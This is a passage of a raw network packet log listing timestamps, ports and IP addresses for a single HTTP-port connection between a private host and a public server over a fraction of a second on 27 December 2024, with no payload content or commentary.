Dec 27, 2024 08:45:20.523653030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.523765087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.523806095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.524575949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.524642944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.524691105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.525336981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.525446892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.525490046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.526238918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.526338100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.526375055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.527008057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.527137041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.527530909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.527859926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.527952909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.528001070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.528688908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.528736115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.529041052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.529515028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.529612064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.529649973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.530349016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.530478001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.530531883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.531199932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.531311035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.531356096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.532021999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.532130957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.532284021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.532862902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.532988071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.533035994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.533716917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.533813953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.533874989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.534643888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.534735918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.534965038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.535379887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.535501957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.535543919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.536200047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.536324024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.536425114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.537045002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.537100077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.537211895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.537889957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.538002968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.538055897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.538729906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.538847923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.538887978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.539567947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.539675951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.539995909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.540385008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.540690899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.540746927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.540788889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.541469097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.541518927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.541528940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.542284966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.542340040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.542383909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.543113947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.543206930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.543253899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.543925047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.543971062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.544059992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.544830084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.544909954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.544953108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.545664072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.545713902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.545804024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.546479940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.546595097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.546638966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.547293901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.547350883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.547425985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.548139095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.548235893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.548299074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.548974037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.549030066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.549073935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.549860954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.549911022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.549947977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.550677061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.550728083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.550808907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.551528931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.551568031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.551609039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.552350044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.552393913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.552443981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.553172112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.553214073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.553266048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.553987026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.554035902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.554091930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.554421902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.554863930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.554903984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.554960012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.555016994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.555660963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.555784941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.555850029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.556509018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.556759119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.556813002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.557328939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.557379007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.557514906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.558204889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.558309078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.558346033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.559020996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.559132099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.559403896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.559847116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.559959888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.560007095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.560704947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.560950994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.560992002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.561592102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.561769009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.561815023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.562484980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.562501907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.562560081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.563206911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.563365936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.563466072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.563765049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.564068079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.564168930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.564249039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.564524889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.564941883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.564984083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.565074921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.566023111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.566073895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.566091061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.566134930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.566745043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.566761971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.566768885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.566824913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.567466974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.567483902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.567536116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.567631006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.568335056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.568367958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.568414927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.569155931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.569339037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.569379091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.569963932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.570065975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.570106983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.570746899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.570863008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.570898056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.571616888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.571718931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.572000980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.572423935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.572535992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.572568893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.573265076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.573410034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.573479891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.574117899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.574215889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.574278116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.574991941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.575061083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.575201988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.575862885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.575879097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.575931072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.576639891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.576756001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.576798916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.577446938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.577557087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.577595949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.578284979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.578407049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.578459978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.579190016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.579231024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.579355955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.579953909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.580076933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.580233097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.580816031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.580894947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.580941916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.581631899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.581778049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.581830025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.582473993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.582515955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.582601070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.583331108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.583436966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.583502054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.584151983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.584266901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.584315062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.585045099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.585108042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.585360050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.585835934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.585946083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.585983992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.586657047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.586766958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.587009907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.587510109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.587584972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.587636948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.588321924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.588465929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.588624954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.589191914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.589274883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.589339972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.589987040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.590122938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.590217113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.590826988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.590946913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.590987921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.591685057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.591783047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.591839075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.592565060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.592619896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.592663050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.593348980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.593482018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.593538046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.594237089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.594331026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.594553947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.595169067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.595212936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.595279932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.596012115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.596246004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.596301079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.596729040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.596843958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.596889019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.597554922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.597718954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.597764969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.598396063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.598507881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.598615885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.599211931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.599339008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.599422932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.600091934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.600203037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.600246906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.600892067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.601046085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.601095915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.601830006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.601952076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.602130890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.602642059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.602715015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.602823019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.603511095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.603528023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.603573084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.604233027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.604342937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.604388952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.605114937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.605237007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.605303049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.605905056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.606057882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.606101990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.606751919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.606941938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.606985092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.607530117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.662744045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.702249050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.702428102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.702505112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.702653885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.702953100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.702970028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.703005075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.703710079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.703726053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.703773022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.704477072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.704533100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.704598904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.705363035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.705379963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.705410004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.706161022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.706221104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.706222057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.706984997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.707039118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.707077980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.707840919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.707890987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.707900047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.708636045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.708695889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.708709002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.709487915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.709539890 CET	49744	80	192.168.2.4	185.215.113.16
